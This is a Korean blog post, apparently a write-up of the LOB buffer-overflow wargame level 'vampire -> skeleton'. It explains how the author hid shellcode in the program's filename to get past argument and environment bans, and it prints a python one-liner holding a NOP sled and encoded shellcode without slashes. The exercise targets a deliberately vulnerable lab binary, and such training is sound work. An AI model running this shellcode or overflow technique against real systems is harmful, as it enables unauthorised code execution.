LOB - 10. vampire -> skeleton

2018. 7. 29. 11:51WarGame/LOB

선배님께 과제를 받아서 다시 오래간만에 lob를 풀어본다. 혼자서 계속 열심히하면 좋겠다만... 쉽지가않다..:(


먼저 로그인을 하고


\



소스코드를 확인해보자



보니까 우리가 인자값으로 넘겨주는 부분은 모두 벤되었네요.. OTL

평상시에 쓰던 환경변수도 막힌 상태고,,,

일단 그럼 뜯어보죠!



메인이 끝나는 저부분에 bp를 걸어줍니다!(분석을 해야하기 때문이죠 :)

조건을 만족시켜주기위해서 "\xbf"*48을 넣어준상태로 실행시키고!




파일을 한번 쭉 살펴보죠



맨 아래에 초기화되지않은 값이 존재합니다. 파일의 위치네요.

7번인가 8번의 orgc와 비슷한 문제로추정됩니다.


shellcode에 \x2f가 들어가지 않는 쉘코드를 구글에서 구해왔습니다.

./`python -c 'print "\x90"*150+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`


skeleton을 위의 쉘코드의 이름을 가진 파일로 복사를해줍니다



조건에 맞는 값들을 넣어줘서 core를 만들어냅니다.



코어를 분석해 파일 끝부분을 보면 위부분이 나옵니다. 이부분으로 리턴주소를 바꾸어주기만 하면 끝날거 같습니다!



굳입니다!


'WarGame > LOB' 카테고리의 다른 글

LOB - 12. golem -> darkknight  (277) 2018.07.30
LOB - 11. skeleton -> golem  (268) 2018.07.29
LOB - 2. gremlin -> cobolt (RTL기법)  (255) 2018.07.14
LOB - 9. troll -> vampire  (933) 2018.07.05
LOB - 8. orge -> troll  (948) 2018.07.05